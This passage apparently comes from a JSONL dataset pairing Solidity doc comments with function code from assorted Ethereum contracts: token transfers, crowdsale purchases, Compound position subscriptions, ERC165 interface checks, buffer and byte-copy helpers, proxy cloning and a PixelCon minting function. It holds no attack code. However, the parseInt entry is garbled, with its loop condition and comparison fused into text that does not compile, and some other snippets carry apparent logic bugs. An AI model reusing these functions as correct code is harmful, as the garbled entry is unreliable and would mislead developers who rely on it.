call\r\n */", "function_code": "function approveAndCall(address _spender, uint256 _amount, bytes _extraData) returns (bool success) {\r\n assert(allowTransactions);\r\n assert(!frozenAccount[msg.sender]);\r\n allowance[msg.sender][_spender] = _amount;\r\n activateAccount(msg.sender);\r\n activateAccount(_spender);\r\n activateAllowanceRecord(msg.sender, _spender);\r\n TokenRecipient spender = TokenRecipient(_spender);\r\n spender.receiveApproval(msg.sender, _amount, this, _extraData);\r\n Approval(msg.sender, _spender, _amount);\r\n return true;\r\n }", "version": "0.3.6"} {"comment": "/// @dev Called by the DSProxy contract which owns the Compound position\n/// @notice Adds the users Compound poistion in the list of subscriptions so it can be monitored\n/// @param _minRatio Minimum ratio below which repay is triggered\n/// @param _maxRatio Maximum ratio after which boost is triggered\n/// @param _optimalBoost Ratio amount which boost should target\n/// @param _optimalRepay Ratio amount which repay should target\n/// @param _boostEnabled Boolean determing if boost is enabled", "function_code": "function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) external {\r\n\r\n // if boost is not enabled, set max ratio to max uint\r\n uint128 localMaxRatio = _boostEnabled ? _maxRatio : uint128(-1);\r\n require(checkParams(_minRatio, localMaxRatio), \"Must be correct params\");\r\n\r\n SubPosition storage subInfo = subscribersPos[msg.sender];\r\n\r\n CompoundHolder memory subscription = CompoundHolder({\r\n minRatio: _minRatio,\r\n maxRatio: localMaxRatio,\r\n optimalRatioBoost: _optimalBoost,\r\n optimalRatioRepay: _optimalRepay,\r\n user: msg.sender,\r\n boostEnabled: _boostEnabled\r\n });\r\n\r\n changeIndex++;\r\n\r\n if (subInfo.subscribed) {\r\n subscribers[subInfo.arrPos] = subscription;\r\n\r\n emit Updated(msg.sender);\r\n emit ParamUpdates(msg.sender, _minRatio, localMaxRatio, _optimalBoost, _optimalRepay, _boostEnabled);\r\n } else {\r\n subscribers.push(subscription);\r\n\r\n subInfo.arrPos = subscribers.length - 1;\r\n subInfo.subscribed = true;\r\n\r\n emit Subscribed(msg.sender);\r\n }\r\n }", "version": "0.6.6"} {"comment": "/// @dev Internal method to remove a subscriber from the list\n/// @param _user The actual address that owns the Compound position", "function_code": "function _unsubscribe(address _user) internal {\r\n require(subscribers.length > 0, \"Must have subscribers in the list\");\r\n\r\n SubPosition storage subInfo = subscribersPos[_user];\r\n\r\n require(subInfo.subscribed, \"Must first be subscribed\");\r\n\r\n address lastOwner = subscribers[subscribers.length - 1].user;\r\n\r\n SubPosition storage subInfo2 = subscribersPos[lastOwner];\r\n subInfo2.arrPos = subInfo.arrPos;\r\n\r\n subscribers[subInfo.arrPos] = subscribers[subscribers.length - 1];\r\n subscribers.pop(); // remove last element and reduce arr length\r\n\r\n changeIndex++;\r\n subInfo.subscribed = false;\r\n subInfo.arrPos = 0;\r\n\r\n emit Unsubscribed(msg.sender);\r\n }", "version": "0.6.6"} {"comment": "/// @notice Helper method for the frontend, returns all the subscribed CDPs paginated\n/// @param _page What page of subscribers you want\n/// @param _perPage Number of entries per page\n/// @return List of all subscribers for that page", "function_code": "function getSubscribersByPage(uint _page, uint _perPage) public view returns (CompoundHolder[] memory) {\r\n CompoundHolder[] memory holders = new CompoundHolder[](_perPage);\r\n\r\n uint start = _page * _perPage;\r\n uint end = start + _perPage;\r\n\r\n end = (end > holders.length) ? holders.length : end;\r\n\r\n uint count = 0;\r\n for (uint i = start; i < end; i++) {\r\n holders[count] = subscribers[i];\r\n count++;\r\n }\r\n\r\n return holders;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice 'Returns the fee for a transfer from `from` to `to` on an amount `amount`.\r\n *\r\n * Fee's consist of a possible\r\n * - import fee on transfers to an address\r\n * - export fee on transfers from an address\r\n * DVIP ownership on an address\r\n * - reduces fee on a transfer from this address to an import fee-ed address\r\n * - reduces the fee on a transfer to this address from an export fee-ed address\r\n * DVIP discount does not work for addresses that have an import fee or export fee set up against them.\r\n *\r\n * DVIP discount goes up to 100%\r\n *\r\n * @param from From address\r\n * @param to To address\r\n * @param amount Amount for which fee needs to be calculated.\r\n *\r\n */", "function_code": "function feeFor(address from, address to, uint256 amount) constant external returns (uint256 value) {\r\n uint256 fee = exportFee[from] + importFee[to];\r\n if (fee == 0) return 0;\r\n uint256 amountHeld;\r\n bool discounted = true;\r\n uint256 oneDVIPUnit;\r\n if (exportFee[from] == 0 && balanceOf[from] != 0 && now < expiry) {\r\n amountHeld = balanceOf[from];\r\n } else if (importFee[to] == 0 && balanceOf[to] != 0 && now < expiry) {\r\n amountHeld = balanceOf[to];\r\n } else discounted = false;\r\n if (discounted) {\r\n oneDVIPUnit = pow10(1, decimals);\r\n if (amountHeld > oneDVIPUnit) amountHeld = oneDVIPUnit;\r\n uint256 remaining = oneDVIPUnit - amountHeld;\r\n return div10(amount*fee*remaining, decimals*2);\r\n }\r\n return div10(amount*fee, decimals);\r\n }", "version": "0.3.6"} {"comment": "/**\r\n * @dev low level token purchase ***DO NOT OVERRIDE***\r\n * This function has a non-reentrancy guard, so it shouldn't be called by\r\n * another `nonReentrant` function.\r\n */", "function_code": "function buyTokens() public payable {\r\n uint256 weiAmount = msg.value;\r\n _preValidatePurchase(_msgSender(), weiAmount);\r\n\r\n // calculate token amount to be created\r\n uint256 tokens = _getTokenAmount(weiAmount);\r\n\r\n // update state\r\n require(_weiRaised <= _maxCapETH);\r\n _weiRaised = _weiRaised.add(weiAmount);\r\n\r\n emit TokensPurchased(_msgSender(), _msgSender(), weiAmount, tokens);\r\n\r\n _forwardFunds();\r\n _currentSaleToken = _currentSaleToken.add(tokens);\r\n require(_capTokenSale >= _currentSaleToken);\r\n _balances[_msgSender()] = _balances[_msgSender()].add(tokens);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met.\r\n * Use `super` in contracts that inherit from Crowdsale to extend their validations.\r\n * Example from CappedCrowdsale.sol's _preValidatePurchase method:\r\n * super._preValidatePurchase(beneficiary, weiAmount);\r\n * require(weiRaised().add(weiAmount) <= cap);\r\n * @param beneficiary Address performing the token purchase\r\n * @param weiAmount Value in wei involved in the purchase\r\n */", "function_code": "function _preValidatePurchase(address beneficiary, uint256 weiAmount)\r\n internal\r\n virtual\r\n {\r\n require(\r\n beneficiary != address(0),\r\n \"Crowdsale: beneficiary is the zero address\"\r\n );\r\n require(weiAmount != 0, \"Crowdsale: weiAmount is 0\");\r\n require(\r\n weiAmount >= _individualMinCap,\r\n \"Crowdsale: Min individual cap\"\r\n );\r\n _balancesPurchased[beneficiary] = _balancesPurchased[beneficiary].add(\r\n weiAmount\r\n );\r\n require(\r\n _balancesPurchased[beneficiary] <= _individualMaxCap,\r\n \"Crowdsale: Max individual cap\"\r\n );\r\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Upper bound search function which is kind of binary search algoritm. It searches sorted\n * array to find index of the element value. If element is found then returns it's index otherwise\n * it returns index of first element which is grater than searched value. If searched element is\n * bigger than any array element function then returns first index after last element (i.e. all\n * values inside the array are smaller than the target). Complexity O(log n).\n * @param array The array sorted in ascending order.\n * @param element The element's value to be find.\n * @return The calculated index value. Returns 0 for empty array.\n */", "function_code": "function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {\n if (array.length == 0) {\n return 0;\n }\n\n uint256 low = 0;\n uint256 high = array.length;\n\n while (low < high) {\n uint256 mid = Math.average(low, high);\n\n // Note that mid will always be strictly less than high (i.e. it will be a valid array index)\n // because Math.average rounds down (it does integer division with truncation).\n if (array[mid] > element) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.\n if (low > 0 && array[low - 1] == element) {\n return low - 1;\n } else {\n return low;\n }\n }", "version": "0.5.0"} {"comment": "/**\n * @notice Query if a contract supports ERC165\n * @param account The address of the contract to query for support of ERC165\n * @return true if the contract at account implements ERC165\n */", "function_code": "function _supportsERC165(address account) internal view returns (bool) {\n // Any contract that implements ERC165 must explicitly indicate support of\n // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid\n return _supportsERC165Interface(account, _INTERFACE_ID_ERC165) &&\n !_supportsERC165Interface(account, _INTERFACE_ID_INVALID);\n }", "version": "0.5.0"} {"comment": "/**\n * @notice Query if a contract implements interfaces, also checks support of ERC165\n * @param account The address of the contract to query for support of an interface\n * @param interfaceIds A list of interface identifiers, as specified in ERC-165\n * @return true if the contract at account indicates support all interfaces in the\n * interfaceIds list, false otherwise\n * @dev Interface identification is specified in ERC-165.\n */", "function_code": "function _supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {\n // query support of ERC165 itself\n if (!_supportsERC165(account)) {\n return false;\n }\n\n // query support of each interface in _interfaceIds\n for (uint256 i = 0; i < interfaceIds.length; i++) {\n if (!_supportsERC165Interface(account, interfaceIds[i])) {\n return false;\n }\n }\n\n // all interfaces supported\n return true;\n }", "version": "0.5.0"} {"comment": "/**\n * @notice Query if a contract implements an interface, does not check ERC165 support\n * @param account The address of the contract to query for support of an interface\n * @param interfaceId The interface identifier, as specified in ERC-165\n * @return true if the contract at account indicates support of the interface with\n * identifier interfaceId, false otherwise\n * @dev Assumes that account contains a contract that supports ERC165, otherwise\n * the behavior of this method is undefined. This precondition can be checked\n * with the `supportsERC165` method in this library.\n * Interface identification is specified in ERC-165.\n */", "function_code": "function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {\n // success determines whether the staticcall succeeded and result determines\n // whether the contract at account indicates support of _interfaceId\n (bool success, bool result) = _callERC165SupportsInterface(account, interfaceId);\n\n return (success && result);\n }", "version": "0.5.0"} {"comment": "/**\n * @notice Calls the function with selector 0x01ffc9a7 (ERC165) and suppresses throw\n * @param account The address of the contract to query for support of an interface\n * @param interfaceId The interface identifier, as specified in ERC-165\n * @return success true if the STATICCALL succeeded, false otherwise\n * @return result true if the STATICCALL succeeded and the contract at account\n * indicates support of the interface with identifier interfaceId, false otherwise\n */", "function_code": "function _callERC165SupportsInterface(address account, bytes4 interfaceId)\n private\n view\n returns (bool success, bool result)\n {\n bytes memory encodedParams = abi.encodeWithSelector(_INTERFACE_ID_ERC165, interfaceId);\n\n // solhint-disable-next-line no-inline-assembly\n assembly {\n let encodedParams_data := add(0x20, encodedParams)\n let encodedParams_size := mload(encodedParams)\n\n let output := mload(0x40) // Find empty storage location using \"free memory pointer\"\n mstore(output, 0x0)\n\n success := staticcall(\n 30000, // 30k gas\n account, // To addr\n encodedParams_data,\n encodedParams_size,\n output,\n 0x20 // Outputs are 32 bytes long\n )\n\n result := mload(output) // Load the result\n }\n }", "version": "0.5.0"} {"comment": "/**\r\n * @dev Appends a byte array to the end of the buffer. Resizes if doing so\r\n * would exceed the capacity of the buffer.\r\n * @param buf The buffer to append to.\r\n * @param data The data to append.\r\n * @return The original buffer.\r\n */", "function_code": "function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {\r\n if(data.length + buf.buf.length > buf.capacity) {\r\n resize(buf, max(buf.capacity, data.length) * 2);\r\n }\r\n\r\n uint dest;\r\n uint src;\r\n uint len = data.length;\r\n assembly {\r\n // Memory address of the buffer data\r\n let bufptr := mload(buf)\r\n // Length of existing buffer data\r\n let buflen := mload(bufptr)\r\n // Start address = buffer address + buffer length + sizeof(buffer length)\r\n dest := add(add(bufptr, buflen), 32)\r\n // Update buffer length\r\n mstore(bufptr, add(buflen, mload(data)))\r\n src := add(data, 32)\r\n }\r\n\r\n // Copy word-length chunks while possible\r\n for(; len >= 32; len -= 32) {\r\n assembly {\r\n mstore(dest, mload(src))\r\n }\r\n dest += 32;\r\n src += 32;\r\n }\r\n\r\n // Copy remaining bytes\r\n uint mask = 256 ** (32 - len) - 1;\r\n assembly {\r\n let srcpart := and(mload(src), not(mask))\r\n let destpart := and(mload(dest), mask)\r\n mstore(dest, or(destpart, srcpart))\r\n }\r\n\r\n return buf;\r\n }", "version": "0.4.24"} {"comment": "// \"addresses\" may not be longer than 256", "function_code": "function arrayContainsAddress256(address[] addresses, address value) internal pure returns (bool) {\r\n for (uint8 i = 0; i < addresses.length; i++) {\r\n if (addresses[i] == value) {\r\n return true;\r\n }\r\n }\r\n return false;\r\n }", "version": "0.4.16"} {"comment": "// creates clone using minimal proxy", "function_code": "function createClone(bytes32 _salt, address _target) internal returns (address _result) {\r\n bytes20 _targetBytes = bytes20(_target);\r\n\r\n assembly {\r\n let clone := mload(0x40)\r\n mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\r\n mstore(add(clone, 0x14), _targetBytes)\r\n mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)\r\n _result := create2(0, clone, 0x37, _salt)\r\n }\r\n\r\n require(_result != address(0), \"Create2: Failed on minimal deploy\");\r\n }", "version": "0.7.3"} {"comment": "// parseInt(parseFloat*10^_b)", "function_code": "function parseInt(string _a, uint _b) internal pure returns (uint) {\r\n bytes memory bresult = bytes(_a);\r\n uint mint = 0;\r\n bool decimals = false;\r\n for (uint i=0; i= 48)&&(bresult[i] <= 57)){\r\n if (decimals){\r\n if (_b == 0) break;\r\n else _b--;\r\n }\r\n mint *= 10;\r\n mint += uint(bresult[i]) - 48;\r\n } else if (bresult[i] == 46) decimals = true;\r\n }\r\n if (_b > 0) mint *= 10**_b;\r\n return mint;\r\n }", "version": "0.4.24"} {"comment": "// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license", "function_code": "function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {\r\n uint minLength = length + toOffset;\r\n\r\n // Buffer too small\r\n require(to.length >= minLength); // Should be a better way?\r\n\r\n // NOTE: the offset 32 is added to skip the `size` field of both bytes variables\r\n uint i = 32 + fromOffset;\r\n uint j = 32 + toOffset;\r\n\r\n while (i < (32 + fromOffset + length)) {\r\n assembly {\r\n let tmp := mload(add(from, i))\r\n mstore(add(to, j), tmp)\r\n }\r\n i += 32;\r\n j += 32;\r\n }\r\n\r\n return to;\r\n }", "version": "0.4.24"} {"comment": "// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license\n// Duplicate Solidity's ecrecover, but catching the CALL return value", "function_code": "function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {\r\n // We do our own memory management here. Solidity uses memory offset\r\n // 0x40 to store the current end of memory. We write past it (as\r\n // writes are memory extensions), but don't update the offset so\r\n // Solidity will reuse it. The memory used here is only needed for\r\n // this context.\r\n\r\n // FIXME: inline assembly can't access return values\r\n bool ret;\r\n address addr;\r\n\r\n assembly {\r\n let size := mload(0x40)\r\n mstore(size, hash)\r\n mstore(add(size, 32), v)\r\n mstore(add(size, 64), r)\r\n mstore(add(size, 96), s)\r\n\r\n // NOTE: we can reuse the request memory because we deal with\r\n // the return code\r\n ret := call(3000, 1, 0, size, 128, size, 32)\r\n addr := mload(size)\r\n }\r\n\r\n return (ret, addr);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n \t * Hook on `transfer` and call `Withdraw.beforeBalanceChange` function.\r\n \t */", "function_code": "function transfer(address _to, uint256 _value) public returns (bool) {\r\n\t\t/**\r\n\t\t * Validates the destination is not 0 address.\r\n\t\t */\r\n\t\trequire(_to != address(0), \"this is illegal address\");\r\n\t\trequire(_value != 0, \"illegal transfer value\");\r\n\r\n\t\t/**\r\n\t\t * Calls Withdraw contract via Allocator contract.\r\n\t\t * Passing through the Allocator contract is due to the historical reason for the old Property contract.\r\n\t\t */\r\n\t\tIAllocator(config().allocator()).beforeBalanceChange(\r\n\t\t\taddress(this),\r\n\t\t\tmsg.sender,\r\n\t\t\t_to\r\n\t\t);\r\n\r\n\t\t/**\r\n\t\t * Calls the transfer of ERC20.\r\n\t\t */\r\n\t\t_transfer(msg.sender, _to, _value);\r\n\t\treturn true;\r\n\t}", "version": "0.5.17"} {"comment": "/**\r\n \t * Hook on `transferFrom` and call `Withdraw.beforeBalanceChange` function.\r\n \t */", "function_code": "function transferFrom(\r\n\t\taddress _from,\r\n\t\taddress _to,\r\n\t\tuint256 _value\r\n\t) public returns (bool) {\r\n\t\t/**\r\n\t\t * Validates the source and destination is not 0 address.\r\n\t\t */\r\n\t\trequire(_from != address(0), \"this is illegal address\");\r\n\t\trequire(_to != address(0), \"this is illegal address\");\r\n\t\trequire(_value != 0, \"illegal transfer value\");\r\n\r\n\t\t/**\r\n\t\t * Calls Withdraw contract via Allocator contract.\r\n\t\t * Passing through the Allocator contract is due to the historical reason for the old Property contract.\r\n\t\t */\r\n\t\tIAllocator(config().allocator()).beforeBalanceChange(\r\n\t\t\taddress(this),\r\n\t\t\t_from,\r\n\t\t\t_to\r\n\t\t);\r\n\r\n\t\t/**\r\n\t\t * Calls the transfer of ERC20.\r\n\t\t */\r\n\t\t_transfer(_from, _to, _value);\r\n\r\n\t\t/**\r\n\t\t * Reduces the allowance amount.\r\n\t\t */\r\n\t\tuint256 allowanceAmount = allowance(_from, msg.sender);\r\n\t\t_approve(\r\n\t\t\t_from,\r\n\t\t\tmsg.sender,\r\n\t\t\tallowanceAmount.sub(\r\n\t\t\t\t_value,\r\n\t\t\t\t\"ERC20: transfer amount exceeds allowance\"\r\n\t\t\t)\r\n\t\t);\r\n\t\treturn true;\r\n\t}", "version": "0.5.17"} {"comment": "/**\r\n \t * Transfers the staking amount to the original owner.\r\n \t */", "function_code": "function withdraw(address _sender, uint256 _value) external {\r\n\t\t/**\r\n\t\t * Validates the sender is Lockup contract.\r\n\t\t */\r\n\t\trequire(msg.sender == config().lockup(), \"this is illegal address\");\r\n\r\n\t\t/**\r\n\t\t * Transfers the passed amount to the original owner.\r\n\t\t */\r\n\t\tERC20 devToken = ERC20(config().token());\r\n\t\tbool result = devToken.transfer(_sender, _value);\r\n\t\trequire(result, \"dev transfer failed\");\r\n\t}", "version": "0.5.17"} {"comment": "/**\r\n * Sets EToken2 address, assigns symbol and name.\r\n *\r\n * Can be set only once.\r\n *\r\n * @param _etoken2 EToken2 contract address.\r\n * @param _symbol assigned symbol.\r\n * @param _name assigned name.\r\n *\r\n * @return success.\r\n */", "function_code": "function init(EToken2Interface _etoken2, string _symbol, string _name) returns(bool) {\r\n if (address(etoken2) != 0x0) {\r\n return false;\r\n }\r\n etoken2 = _etoken2;\r\n etoken2Symbol = _bytes32(_symbol);\r\n name = _name;\r\n symbol = _symbol;\r\n return true;\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Propose next asset implementation contract address.\r\n *\r\n * Can only be called by current asset owner.\r\n *\r\n * Note: freeze-time should not be applied for the initial setup.\r\n *\r\n * @param _newVersion asset implementation contract address.\r\n *\r\n * @return success.\r\n */", "function_code": "function proposeUpgrade(address _newVersion) onlyAssetOwner() returns(bool) {\r\n // Should not already be in the upgrading process.\r\n if (pendingVersion != 0x0) {\r\n return false;\r\n }\r\n // New version address should be other than 0x0.\r\n if (_newVersion == 0x0) {\r\n return false;\r\n }\r\n // Don't apply freeze-time for the initial setup.\r\n if (latestVersion == 0x0) {\r\n latestVersion = _newVersion;\r\n return true;\r\n }\r\n pendingVersion = _newVersion;\r\n pendingVersionTimestamp = now;\r\n UpgradeProposal(_newVersion);\r\n return true;\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Finalize an upgrade process setting new asset implementation contract address.\r\n *\r\n * Can only be called after an upgrade freeze-time.\r\n *\r\n * @return success.\r\n */", "function_code": "function commitUpgrade() returns(bool) {\r\n if (pendingVersion == 0x0) {\r\n return false;\r\n }\r\n if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {\r\n return false;\r\n }\r\n latestVersion = pendingVersion;\r\n delete pendingVersion;\r\n delete pendingVersionTimestamp;\r\n return true;\r\n }", "version": "0.4.15"} {"comment": "/*\n * @dev Returns a newly allocated string containing the concatenation of\n * `self` and `other`.\n * @param self The first slice to concatenate.\n * @param other The second slice to concatenate.\n * @return The concatenation of the two strings.\n */", "function_code": "function concat(slice memory self, slice memory other) internal pure returns (string memory) {\n string memory ret = new string(self._len + other._len);\n uint retptr;\n assembly {\n retptr := add(ret, 32)\n }\n memcpy(retptr, self._ptr, self._len);\n memcpy(retptr + self._len, other._ptr, other._len);\n return ret;\n }", "version": "0.5.0"} {"comment": "// SCALE-encode payload", "function_code": "function encodeCall(\n address _token,\n address _sender,\n bytes32 _recipient,\n uint256 _amount\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n MINT_CALL,\n _token,\n _sender,\n byte(0x00), // Encode recipient as MultiAddress::Id\n _recipient,\n _amount.encode256()\n );\n }", "version": "0.7.6"} {"comment": "// Decodes a SCALE encoded uint256 by converting bytes (bid endian) to little endian format", "function_code": "function decodeUint256(bytes memory data) public pure returns (uint256) {\n uint256 number;\n for (uint256 i = data.length; i > 0; i--) {\n number = number + uint256(uint8(data[i - 1])) * (2**(8 * (i - 1)));\n }\n return number;\n }", "version": "0.7.6"} {"comment": "// Sources:\n// * https://ethereum.stackexchange.com/questions/15350/how-to-convert-an-bytes-to-address-in-solidity/50528\n// * https://graphics.stanford.edu/~seander/bithacks.html#ReverseParallel", "function_code": "function reverse256(uint256 input) internal pure returns (uint256 v) {\n v = input;\n\n // swap bytes\n v = ((v & 0xFF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00) >> 8) |\n ((v & 0x00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF) << 8);\n\n // swap 2-byte long pairs\n v = ((v & 0xFFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000) >> 16) |\n ((v & 0x0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF) << 16);\n\n // swap 4-byte long pairs\n v = ((v & 0xFFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000) >> 32) |\n ((v & 0x00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF) << 32);\n\n // swap 8-byte long pairs\n v = ((v & 0xFFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF0000000000000000) >> 64) |\n ((v & 0x0000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF) << 64);\n\n // swap 16-byte long pairs\n v = (v >> 128) | (v << 128);\n }", "version": "0.7.6"} {"comment": "// ========== Claiming ==========", "function_code": "function burnForPhysical(uint16[] calldata _burnTokenIds, uint16 editionId, uint16 editionTokenId, bool claimNFT) public whenNotPaused nonReentrant {\n require(editionId <= numBurnEditions, \"Edition not found\");\n require(_burnTokenIds.length > 0, \"No tokens to burn\");\n\n BurnEdition storage edition = burnEditions[editionId];\n\n require(edition.supportedToken == editionTokenId, \"Token Id is not supported for edition\");\n\n // Calculate quantity\n require(_burnTokenIds.length % edition.tokenCost == 0, \"Quantity must be a multiple of token cost\");\n uint16 _quantity = uint16(_burnTokenIds.length) / edition.tokenCost;\n\n // Can only claim if there is supply remaining\n numClaimsByTokenID[editionTokenId] += _quantity;\n require(numClaimsByTokenID[editionTokenId] <= maximumSupplyByTokenID[editionTokenId], \"Not enough tokens remaining\");\n\n // Check that tokens are owned by the caller and burn\n if(edition.contractType == ContractType.ERC721) {\n IERC721Burnable supportedContract = IERC721Burnable(edition.contractAddress);\n for (uint16 i=0; i < _burnTokenIds.length; i++) {\n supportedContract.burn(_burnTokenIds[i]);\n }\n } else if (edition.contractType == ContractType.ERC1155) {\n IERC1155Burnable supportedContract = IERC1155Burnable(edition.contractAddress);\n for (uint16 i=0; i < _burnTokenIds.length; i++) {\n supportedContract.burn(msg.sender, _burnTokenIds[i], 1);\n }\n }\n \n if(claimNFT) {\n _mint(msg.sender, editionTokenId, _quantity, \"\");\n }\n\n emit ClaimedPhysicalEdition(msg.sender, editionId, editionTokenId);\n }", "version": "0.8.9"} {"comment": "/* setWinner function - set the winning contract */", "function_code": "function setWinner(uint256 _gameId) public onlyGameContractOrOwner {\r\n\t\trequire(_gameId == gameContractObject.gameId());\r\n\t\tassert(gameContractObject.state() == GameContract.GameState.RandomReceived);\r\n\t\tassert(!isWinner);\r\n\t\tisWinner = true;\r\n\t\taddress houseAddressOne = gameContractObject.getHouseAddressOne();\r\n\t\taddress houseAddressTwo = gameContractObject.getHouseAddressTwo();\r\n\t\taddress referralAddress = gameContractObject.getReferralAddress();\r\n\t\tif (totalBid == 0) {\r\n\t\t\thouseAddressOne.transfer((address(this).balance * 70)/100);\r\n\t\t\thouseAddressTwo.transfer(address(this).balance);\r\n settlementType = 0;\r\n\t\t} else if (totalBid == address(this).balance) {\r\n\t\t settlementType = 1;\r\n\t\t} else {\r\n\t\t\ttotalBalance = address(this).balance - totalBid;\r\n\t\t\tuint256 houseAddressShare = gameContractObject.getHouseAddressShare();\r\n\t\t\thouseAddressOne.transfer((totalBalance * houseAddressShare * 70) / 10000);/* 70 percent of house share goes to bucket one */\r\n\t\t\thouseAddressTwo.transfer((totalBalance * houseAddressShare * 30) / 10000);/* 30 percent of house share goes to bucket one */\r\n\t\t\treferralAmount = (totalBalance * gameContractObject.getReferralAddressShare())/100;\t\r\n\t\t\treferralAddress.transfer(referralAmount);\r\n\t\t\ttotalBalance = address(this).balance;\r\n\t\t\tsettlementType = 2;\r\n\t\t}\r\n\t\tprocessed = 0;\r\n\t\tremaining = betters.length;\r\n\t}", "version": "0.4.25"} {"comment": "// ------------------------------------------------------------------------\n// Transfer the balance from token owner's account to to a smart contract and receive approval\n// - Owner's account must have sufficient balance to transfer\n// - Smartcontract must accept the payment \n// - 0 value transfers are allowed\n// ------------------------------------------------------------------------", "function_code": "function transferAndCall(address to, uint tokens, bytes memory data) public returns (bool success) {\r\n require (tokens <= balances[msg.sender] );\r\n balances[msg.sender] = safeSub(balances[msg.sender], tokens);\r\n balances[to] = safeAdd(balances[to], tokens);\r\n require (TransferAndCallFallBack(to).receiveTransfer(msg.sender, tokens, data));\r\n \r\n emit Transfer(msg.sender, to, tokens);\r\n return true; \r\n }", "version": "0.7.4"} {"comment": "// ----------------------------------------------------------------------------\n// Buy EASY tokens for ETH by exchange rate\n// ----------------------------------------------------------------------------", "function_code": "function buyTokens() public payable returns (bool success) {\r\n require (msg.value > 0, \"ETH amount should be greater than zero\");\r\n \r\n uint tokenAmount = _exchangeRate * msg.value; \r\n balances[owner] = safeSub(balances[owner], tokenAmount);\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokenAmount);\r\n emit Transfer(owner, msg.sender, tokenAmount);\r\n return true;\r\n }", "version": "0.7.4"} {"comment": "/// @dev Courtesy of https://github.com/gnosis/MultiSigWallet/blob/master/contracts/MultiSigWallet.sol\n/// This method allows the pre-defined recipient to call other smart contracts.", "function_code": "function externalCall(address destination, uint256 value, bytes data) public returns (bool) {\r\n require(msg.sender == recipient, \"Sender must be the recipient.\");\r\n uint256 dataLength = data.length;\r\n bool result;\r\n assembly {\r\n let x := mload(0x40) // \"Allocate\" memory for output (0x40 is where \"free memory\" pointer is stored by convention)\r\n let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that\r\n result := call(\r\n sub(gas, 34710), // 34710 is the value that solidity is currently emitting\r\n // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +\r\n // callNewAccountGas (25000, in case the destination address does not exist and needs creating)\r\n destination,\r\n value,\r\n d,\r\n dataLength, // Size of the input (in bytes) - this is what fixes the padding problem\r\n x,\r\n 0 // Output is ignored, therefore the output size is zero\r\n )\r\n }\r\n return result;\r\n }", "version": "0.4.24"} {"comment": "// effects\n// energy + metabolism\n// OG1/2\n// ghost aura effect\n// indiv equip effect\n// make sure this amt roughly on same magnitude with 1e18", "function_code": "function getVirtualAmt(uint256 tamagId) public view returns (uint256) {\r\n // cater to both tamag versions. Assume that any id is only either V1 OR V2, not both.\r\n uint256 trait = 0;\r\n bool isV2 = tamag.exists(tamagId);\r\n\r\n if (isV2){\r\n // it's a V2;\r\n trait = tamag.getTrait(tamagId);\r\n } else {\r\n trait = oldTamag.getTrait(tamagId);\r\n }\r\n\r\n // uint256 cheerfulness = getCheerfulness(trait);\r\n uint256 energy = getEnergy(trait);\r\n uint256 metabolism = getMetabolism(trait);\r\n // values obtained are out of 0-31 inclusive\r\n \r\n uint256 result = energy.add(metabolism).mul(1e18); // range of 0-64 1E18\r\n uint256 tempTamagId = isV2 ? tamagId : tamagId + 1; // see constructor for explanation\r\n if (og1.contains(tempTamagId)){\r\n result = result.mul(OG1_BONUS).div(100);\r\n }else if (og2.contains(tempTamagId)){\r\n result = result.mul(OG2_BONUS).div(100);\r\n }\r\n\r\n if (isV2){\r\n uint256 bonuses = getBonuses(tamagId);\r\n if (bonuses > 0){\r\n result = result.mul(bonuses.add(100)).div(100);\r\n }\r\n }\r\n\r\n return result;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n \t * @notice Create PixelCon `(_tokenId)`\r\n \t * @dev Throws if the token ID already exists\r\n \t * @param _to Address that will own the PixelCon\r\n \t * @param _tokenId ID of the PixelCon to be creates\r\n \t * @param _name PixelCon name (not required)\r\n \t * @return The index of the new PixelCon\r\n \t */", "function_code": "function create(address _to, uint256 _tokenId, bytes8 _name) public payable validAddress(_to) validId(_tokenId) returns(uint64)\r\n\t{\r\n\t\tTokenLookup storage lookupData = tokenLookup[_tokenId];\r\n\t\trequire(pixelcons.length < uint256(2 ** 64) - 1, \"Max number of PixelCons has been reached\");\r\n\t\trequire(lookupData.owner == address(0), \"PixelCon already exists\");\r\n\r\n\t\t//get created timestamp (zero as date indicates null)\r\n\t\tuint32 dateCreated = 0;\r\n\t\tif (now < uint256(2 ** 32)) 